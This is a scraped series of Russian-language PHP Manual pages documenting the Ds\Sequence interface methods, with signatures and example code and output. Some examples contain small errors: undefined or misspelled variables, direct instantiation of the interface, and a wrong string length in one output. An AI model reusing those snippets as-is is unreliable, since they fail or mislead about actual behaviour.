  • Ds\Sequence::sorted — Возвращает отсортированную по значению копию коллекции
  • Ds\Sequence::sum — Возвращает сумму всех значений коллекции
  • Ds\Sequence::unshift — Добавляет значения в начало последовательности

User Contributed Notes

There are no user contributed notes for this page.


Выделение памяти под указанную вместимость

  • « Ds\Sequence
  • Ds\Sequence::apply »
  • PHP Manual
  • Ds\Sequence
  • Выделение памяти под указанную вместимость

Ds\Sequence::allocate

(PECL ds >= 1.0.0)

Ds\Sequence::allocate — Выделение памяти под указанную вместимость

Описание

abstract public Ds\Sequence::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического добавления памяти при добавлении значений.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то она не изменится.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::allocate()

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$vector->allocate(100);
var_dump($sequence->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(100)

User Contributed Notes

There are no user contributed notes for this page.


Обновление всех значений применением к ним переданной callback-функции

  • « Ds\Sequence::allocate
  • Ds\Sequence::capacity »
  • PHP Manual
  • Ds\Sequence
  • Обновление всех значений применением к ним переданной callback-функции

Ds\Sequence::apply

(PECL ds >= 1.0.0)

Ds\Sequence::apply — Обновление всех значений применением к ним переданной callback-функции

Описание

abstract public Ds\Sequence::apply(callable $callback): void

Обновление всех значений применением к ним переданной callback-функции.

Список параметров

callback

callback(mixed $value): mixed

Объект типа callable.

Callback-функция должна возвращать новое значение, которое заменит текущее.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::apply()

<?php
$sequence = new \Ds\Sequence([1, 2, 3]);
$sequence->apply(function($value) { return $value * 2; });

print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Sequence::apply
  • Ds\Sequence::contains »
  • PHP Manual
  • Ds\Sequence
  • Возвращает текущую вместимость

Ds\Sequence::capacity

(PECL ds >= 1.0.0)

Ds\Sequence::capacity — Возвращает текущую вместимость

Описание

abstract public Ds\Sequence::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Sequence::capacity()

<?php
$sequence = new \Ds\Vector();
var_dump($sequence->capacity());

$sequence->push(...range(1, 50));
var_dump($sequence->capacity());

$sequence[] = "a";
var_dump($sequence->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(10)
int(50)
int(75)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержатся ли в коллекции заданные значения

  • « Ds\Sequence::capacity
  • Ds\Sequence::filter »
  • PHP Manual
  • Ds\Sequence
  • Проверяет, содержатся ли в коллекции заданные значения

Ds\Sequence::contains

(PECL ds >= 1.0.0)

Ds\Sequence::contains — Проверяет, содержатся ли в коллекции заданные значения

Описание

abstract public Ds\Sequence::contains(mixed ...$values): bool

Проверяет, содержатся ли в коллекции заданные значения.

Список параметров

values

Значения для проверки.

Возвращаемые значения

Возвращает false, если хотя бы одно значение из values не найдено в коллекции и true в противном случае.

Примеры

Пример #1 Пример использования Ds\Sequence::contains()

<?php
$sequence = new \Ds\Vector(['a', 'b', 'c', 1, 2, 3]);

var_dump($sequence->contains('a')); // true
var_dump($sequence->contains('a', 'b')); // true
var_dump($sequence->contains('c', 'd')); // false

var_dump($sequence->contains(...['c', 'b', 'a'])); // true

// Всегда строгая проверка
var_dump($sequence->contains(1)); // true
var_dump($sequence->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции

  • « Ds\Sequence::contains
  • Ds\Sequence::find »
  • PHP Manual
  • Ds\Sequence
  • Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции

Ds\Sequence::filter

(PECL ds >= 1.0.0)

Ds\Sequence::filter — Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции

Описание

abstract public Ds\Sequence::filter(callable $callback = ?): Ds\Sequence

Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции.

Список параметров

callback

callback(mixed $value): bool

Необязательный аргумент типа callable, который возвращает true, если значение должно быть включено и false, если нет.

Если callback-функция не задана, то будут включены только элементы, которые приводятся к логическому значению true (смотри приведение к boolean).

Возвращаемые значения

Новая последовательность, содержащая значения, для которых функция callback вернула true, или все элементы, которые при приведении к логическому типу становятся true, если параметр callback не задан.

Примеры

Пример #1 Пример использования Ds\Sequence::filter() с callback-функцией

<?php
$sequence = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($sequence->filter(function($value) {
return $value % 2 == 0;
}));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Пример #2 Пример использования Ds\Sequence::filter() без callback-функции

<?php
$sequence = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($sequence->filter());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Поиск индекса по значению

  • « Ds\Sequence::filter
  • Ds\Sequence::first »
  • PHP Manual
  • Ds\Sequence
  • Поиск индекса по значению

Ds\Sequence::find

(PECL ds >= 1.0.0)

Ds\Sequence::find — Поиск индекса по значению

Описание

abstract public Ds\Sequence::find(mixed $value): mixed

Возвращает индекс значения value, или false, если ничего не найдено.

Список параметров

value

Искомое значение.

Возвращаемые значения

Индекс элемента, или false, если значение не найдено.

Замечание:

Элементы сравниваются строго, по типу и значению.

Примеры

Пример #1 Пример использования Ds\Sequence::find()

<?php
$sequence = new \Ds\Vector(["a", 1, true]);

var_dump($sequence->find("a")); // 0
var_dump($sequence->find("b")); // false
var_dump($sequence->find("1")); // false
var_dump($sequence->find(1)); // 1
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первый элемент коллекции

  • « Ds\Sequence::find
  • Ds\Sequence::get »
  • PHP Manual
  • Ds\Sequence
  • Возвращает первый элемент коллекции

Ds\Sequence::first

(PECL ds >= 1.0.0)

Ds\Sequence::first — Возвращает первый элемент коллекции

Описание

abstract public Ds\Sequence::first(): mixed

Возвращает первый элемент коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Sequence::first()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->first());
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по индексу

  • « Ds\Sequence::first
  • Ds\Sequence::insert »
  • PHP Manual
  • Ds\Sequence
  • Возвращает значение по индексу

Ds\Sequence::get

(PECL ds >= 1.0.0)

Ds\Sequence::get — Возвращает значение по индексу

Описание

abstract public Ds\Sequence::get(int $index): mixed

Возвращает значение по заданному индексу.

Список параметров

index

Индекс. Первый элемент имеет индекс 0.

Возвращаемые значения

Значение по заданному индексу.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Sequence::get()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->get(0));
var_dump($sequence->get(1));
var_dump($sequence->get(2));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

Пример #2 Пример использования Ds\Sequence::get() с синтаксисом массива

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence[0]);
var_dump($sequence[1]);
var_dump($sequence[2]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Вставляет значения по указанному индексу

  • « Ds\Sequence::get
  • Ds\Sequence::join »
  • PHP Manual
  • Ds\Sequence
  • Вставляет значения по указанному индексу

Ds\Sequence::insert

(PECL ds >= 1.0.0)

Ds\Sequence::insert — Вставляет значения по указанному индексу

Описание

abstract public Ds\Sequence::insert(int $index, mixed ...$values): void

Вставляет значения по указанному индексу.

Список параметров

index

Индекс, по которому необходимо осуществить вставку. 0 <= index <= count

Замечание:

Можно указывать индекс, равный количеству элементов коллекции.

values

Значение или значения для вставки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException в случае некорректного индекса.

Примеры

Пример #1 Пример использования Ds\Sequence::insert()

<?php
$sequence = new \Ds\Vector();

$sequence->insert(0, "e"); // [e]
$sequence->insert(1, "f"); // [e, f]
$sequence->insert(2, "g"); // [e, f, g]
$sequence->insert(0, "a", "b"); // [a, b, e, f, g]
$sequence->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Склеивает все значения в строку

  • « Ds\Sequence::insert
  • Ds\Sequence::last »
  • PHP Manual
  • Ds\Sequence
  • Склеивает все значения в строку

Ds\Sequence::join

(PECL ds >= 1.0.0)

Ds\Sequence::join — Склеивает все значения в строку

Описание

abstract public Ds\Sequence::join(string $glue = ?): string

Склеивает все значения в строку, опционально используя заданный разделитель.

Список параметров

glue

Необязательный параметр, задающий разделитель между значениями.

Возвращаемые значения

Все значения коллекции, склеенные в одну строку.

Примеры

Пример #1 Пример использования Ds\Sequence::join() с разделителем

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join("|"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "a|b|c|1|2|3"

Пример #2 Пример использования Ds\Sequence::join() без разделителя

<?php
$sequence = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($sequence->join());
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее значение коллекции

  • « Ds\Sequence::join
  • Ds\Sequence::map »
  • PHP Manual
  • Ds\Sequence
  • Возвращает последнее значение коллекции

Ds\Sequence::last

(PECL ds >= 1.0.0)

Ds\Sequence::last — Возвращает последнее значение коллекции

Описание

abstract public Ds\Sequence::last(): mixed

Возвращает последнее значение коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент коллекции.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Sequence::last()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->last());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат применения callback-функции ко всем значениям коллекции

  • « Ds\Sequence::last
  • Ds\Sequence::merge »
  • PHP Manual
  • Ds\Sequence
  • Возвращает результат применения callback-функции ко всем значениям коллекции

Ds\Sequence::map

(PECL ds >= 1.0.0)

Ds\Sequence::map — Возвращает результат применения callback-функции ко всем значениям коллекции

Описание

abstract public Ds\Sequence::map(callable $callback): Ds\Sequence

Возвращает результат применения callback-функции, переданной в callback, ко всем значениям коллекции.

Список параметров

callback

callback(mixed $value): mixed

Аргумент типа callable.

Эта функция должна возвращать новое значение для каждого элемента коллекции.

Возвращаемые значения

Результат применения callback к каждому значению коллекции.

Замечание:

Значения в текущей коллекции останутся неизменными.

Примеры

Пример #1 Пример использования Ds\Sequence::map()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

print_r($sequence->map(function($value) { return $value * 2; }));
print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат добавления всех заданных значений в коллекцию

  • « Ds\Sequence::map
  • Ds\Sequence::pop »
  • PHP Manual
  • Ds\Sequence
  • Возвращает результат добавления всех заданных значений в коллекцию

Ds\Sequence::merge

(PECL ds >= 1.0.0)

Ds\Sequence::merge — Возвращает результат добавления всех заданных значений в коллекцию

Описание

abstract public Ds\Sequence::merge(mixed $values): Ds\Sequence

Возвращает результат добавления всех заданных значений в коллекцию.

Список параметров

values

Объект класса traversable или array.

Возвращаемые значения

Результат добавления всех переданных значений в коллекцию. Фактически делается копия коллекции, в которую добавляются значения.

Замечание:

Текущий экземпляр коллекции останется нетронутым.

Примеры

Пример #1 Пример использования Ds\Sequence::merge()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->merge([4, 5, 6]));
var_dump($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает последнее значение

  • « Ds\Sequence::merge
  • Ds\Sequence::push »
  • PHP Manual
  • Ds\Sequence
  • Удаляет и возвращает последнее значение

Ds\Sequence::pop

(PECL ds >= 1.0.0)

Ds\Sequence::pop — Удаляет и возвращает последнее значение

Описание

abstract public Ds\Sequence::pop(): mixed

Удаляет и возвращает последнее значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последнее удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Sequence::pop()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->pop());
var_dump($sequence->pop());
var_dump($sequence->pop());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в конец последовательности

  • « Ds\Sequence::pop
  • Ds\Sequence::reduce »
  • PHP Manual
  • Ds\Sequence
  • Добавляет значения в конец последовательности

Ds\Sequence::push

(PECL ds >= 1.0.0)

Ds\Sequence::push — Добавляет значения в конец последовательности

Описание

abstract public Ds\Sequence::push(mixed ...$values): void

Добавляет значения в конец последовательности.

Список параметров

values

Добавляемые значения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::push()

<?php
$sequence = new \Ds\Vector();

$sequence->push("a");
$sequence->push("b");
$sequence->push("c", "d");
$sequence->push(...["e", "f"]);

print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Схлопывает коллекцию до одного значения используя callback-функцию

  • « Ds\Sequence::push
  • Ds\Sequence::remove »
  • PHP Manual
  • Ds\Sequence
  • Схлопывает коллекцию до одного значения используя callback-функцию

Ds\Sequence::reduce

(PECL ds >= 1.0.0)

Ds\Sequence::reduce — Схлопывает коллекцию до одного значения используя callback-функцию

Описание

abstract public Ds\Sequence::reduce(callable $callback, mixed $initial = ?): mixed

Схлопывает коллекцию до одного значения используя callback-функцию.

Список параметров

callback
callback(mixed $carry, mixed $value): mixed
carry

Значение, возвращённое предыдущим запуском функции или initial, если функция запущена первый раз.

value

Значение текущей итерации.

initial

Начальное значение параметра carry. Можно указать null.

Возвращаемые значения

Значение, возвращённое финальным запуском callback-функции.

Примеры

Пример #1 Пример использования Ds\Sequence::reduce() с начальным значением

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($sequence->reduce($callback, 5));

// Итерации:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

Результатом выполнения данного примера будет что-то подобное:

int(30)

Пример #2 Пример использования Ds\Sequence::reduce() без начального значения

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

var_dump($sequence->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Итерации:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

Результатом выполнения данного примера будет что-то подобное:

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает значение по индексу

  • « Ds\Sequence::reduce
  • Ds\Sequence::reverse »
  • PHP Manual
  • Ds\Sequence
  • Удаляет и возвращает значение по индексу

Ds\Sequence::remove

(PECL ds >= 1.0.0)

Ds\Sequence::remove — Удаляет и возвращает значение по индексу

Описание

abstract public Ds\Sequence::remove(int $index): mixed

Удаляет и возвращает значение по индексу.

Список параметров

index

Индекс, по которому необходимо удалить значение.

Возвращаемые значения

Удалённое значение.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Sequence::remove()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->remove(1));
var_dump($sequence->remove(0));
var_dump($sequence->remove(0));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Переворачивает текущую коллекцию

  • « Ds\Sequence::remove
  • Ds\Sequence::reversed »
  • PHP Manual
  • Ds\Sequence
  • Переворачивает текущую коллекцию

Ds\Sequence::reverse

(PECL ds >= 1.0.0)

Ds\Sequence::reverse — Переворачивает текущую коллекцию

Описание

abstract public Ds\Sequence::reverse(): void

Переворачивает текущую коллекцию.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::reverse()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);
$sequence->reverse();

print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает перевёрнутую копию коллекции

  • « Ds\Sequence::reverse
  • Ds\Sequence::rotate »
  • PHP Manual
  • Ds\Sequence
  • Возвращает перевёрнутую копию коллекции

Ds\Sequence::reversed

(PECL ds >= 1.0.0)

Ds\Sequence::reversed — Возвращает перевёрнутую копию коллекции

Описание

abstract public Ds\Sequence::reversed(): Ds\Sequence

Возвращает перевёрнутую копию коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Перевёрнутая копия коллекции.

Замечание:

Текущая коллекция не изменится.

Примеры

Пример #1 Пример использования Ds\Sequence::reversed()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

print_r($sequence->reversed());
print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Перематывает последовательность на заданное число значений

  • « Ds\Sequence::reversed
  • Ds\Sequence::set »
  • PHP Manual
  • Ds\Sequence
  • Перематывает последовательность на заданное число значений

Ds\Sequence::rotate

(PECL ds >= 1.0.0)

Ds\Sequence::rotate — Перематывает последовательность на заданное число значений

Описание

abstract public Ds\Sequence::rotate(int $rotations): void

Перематывает последовательность на заданное число значений. Данная операция аналогична выполнению заданного количество раз кода $sequence->push($sequence->shift()), если число оборотов положительно и $sequence->unshift($sequence->pop()), если отрицательно.

Список параметров

rotations

Количество значений, которые надо "перемотать".

Возвращаемые значения

Функция не возвращает значения после выполнения.. Будет изменена текущая последовательность.

Примеры

Пример #1 Пример использования Ds\Sequence::rotate()

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d"]);

$sequence->rotate(1); // Аналогично $a = $sequence->shift(); $sequence->push($a);
print_r($sequence);

$sequence->rotate(2);
print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Заменяет значение по указанному индексу

  • « Ds\Sequence::rotate
  • Ds\Sequence::shift »
  • PHP Manual
  • Ds\Sequence
  • Заменяет значение по указанному индексу

Ds\Sequence::set

(PECL ds >= 1.0.0)

Ds\Sequence::set — Заменяет значение по указанному индексу

Описание

abstract public Ds\Sequence::set(int $index, mixed $value): void

Заменяет значение по указанному индексу.

Список параметров

index

Индекс, по которому надо заменить значение.

value

Новое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Sequence::set()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence->set(1, "_");
print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

Пример #2 Пример использования Ds\Sequence::set() с синтаксисом массива

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

$sequence[1] = "_";
print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет и возвращает первое значение

  • « Ds\Sequence::set
  • Ds\Sequence::slice »
  • PHP Manual
  • Ds\Sequence
  • Удаляет и возвращает первое значение

Ds\Sequence::shift

(PECL ds >= 1.0.0)

Ds\Sequence::shift — Удаляет и возвращает первое значение

Описание

abstract public Ds\Sequence::shift(): mixed

Удаляет и возвращает первое значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первое удалённое значение.

Ошибки

Выбрасывает исключение UnderflowException, если коллекция пуста.

Примеры

Пример #1 Пример использования Ds\Sequence::shift()

<?php
$sequence = new \Ds\Vector(["a", "b", "c"]);

var_dump($sequence->shift());
var_dump($sequence->shift());
var_dump($sequence->shift());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает под-коллекцию из заданного диапазона

  • « Ds\Sequence::shift
  • Ds\Sequence::sort »
  • PHP Manual
  • Ds\Sequence
  • Возвращает под-коллекцию из заданного диапазона

Ds\Sequence::slice

(PECL ds >= 1.0.0)

Ds\Sequence::slice — Возвращает под-коллекцию из заданного диапазона

Описание

abstract public Ds\Sequence::slice(int $index, int $length = ?): Ds\Sequence

Возвращает под-коллекцию из диапазона, заданного начальным индексом index и длиной length.

Список параметров

index

Индекс, задающий начало диапазона.

Если положительный, то будет отсчитываться от начала коллекции. Если отрицательный, то от конца.

length

Положительное значение определяет, сколько элементов будет взято. Если количество элементов коллекции меньше заданного значения, вернётся столько элементов, сколько есть. Отрицательное значение задаст индекс, отсчитанный от конца коллекции, определяющий конец диапазона. Если длина не задана, то будут возвращены все элементы коллекции от заданного индекса до конца коллекции.

Возвращаемые значения

Под-коллекция из заданного диапазона.

Примеры

Пример #1 Пример использования Ds\Sequence::slice()

<?php
$sequence = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Диапазон от 2 до конца
print_r($sequence->slice(2));

// Диапазон от 1 с длиной 3
print_r($sequence->slice(1, 3));

// Диапазон от 1 до конца
print_r($sequence->slice(1));

// Диапазон от 2 с конца до начала
print_r($sequence->slice(-2));

// Диапазон от 1 от 1 с конца
print_r($sequence->slice(1, -1));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Сортирует коллекцию

  • « Ds\Sequence::slice
  • Ds\Sequence::sorted »
  • PHP Manual
  • Ds\Sequence
  • Сортирует коллекцию

Ds\Sequence::sort

(PECL ds >= 1.0.0)

Ds\Sequence::sort — Сортирует коллекцию

Описание

abstract public Ds\Sequence::sort(callable $comparator = ?): void

Сортирует коллекцию, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::sort()

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);
$sequence->sort();

print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Sequence::sort() с callback-функцией сравнения

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sequence->sort(function($a, $b) {
return $b <=> $a;
});

print_r($sequence);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отсортированную по значению копию коллекции

  • « Ds\Sequence::sort
  • Ds\Sequence::sum »
  • PHP Manual
  • Ds\Sequence
  • Возвращает отсортированную по значению копию коллекции

Ds\Sequence::sorted

(PECL ds >= 1.0.0)

Ds\Sequence::sorted — Возвращает отсортированную по значению копию коллекции

Описание

abstract public Ds\Sequence::sorted(callable $comparator = ?): Ds\Sequence

Возвращает отсортированную копию коллекции, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает отсортированную по значению копию коллекции.

Примеры

Пример #1 Пример использования Ds\Sequence::sorted()

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($sequence->sorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Sequence::sorted() с callback-функцией сравнения

<?php
$sequence = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $sequence->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сумму всех значений коллекции

  • « Ds\Sequence::sorted
  • Ds\Sequence::unshift »
  • PHP Manual
  • Ds\Sequence
  • Возвращает сумму всех значений коллекции

Ds\Sequence::sum

(PECL ds >= 1.0.0)

Ds\Sequence::sum — Возвращает сумму всех значений коллекции

Описание

abstract public Ds\Sequence::sum(): int|float

Возвращает сумму всех значений коллекции.

Замечание:

Массивы и объекты считаются за ноль.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сумма всех значений коллекции типов float или int, в зависимости от значений коллекции.

Примеры

Пример #1 Пример использования Ds\Sequence::sum() с целочисленными значениями

<?php
$sequence = new \Ds\Vector([1, 2, 3]);
var_dump($sequence->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

int(6)

Пример #2 Пример использования Ds\Sequence::sum() со значениями типа float

<?php
$sequence = new \Ds\Vector([1, 2.5, 3]);
var_dump($sequence->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в начало последовательности

  • « Ds\Sequence::sum
  • Ds\Vector »
  • PHP Manual
  • Ds\Sequence
  • Добавляет значения в начало последовательности

Ds\Sequence::unshift

(PECL ds >= 1.0.0)

Ds\Sequence::unshift — Добавляет значения в начало последовательности

Описание

abstract public Ds\Sequence::unshift(mixed $values = ?): void

Добавляет значения в начало последовательности, перемещая все текущие значения вперёд, чтобы освободить место для новых значений.

Список параметров

values

Добавляемые значения.

Замечание:

Множество значений добавляются в том порядке, как они были переданы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Sequence::unshift()

<?php
$sequence = new \Ds\Vector([1, 2, 3]);

$sequence->unshift("a");
$sequence->unshift("b", "c");

print_r($sequence);
?>

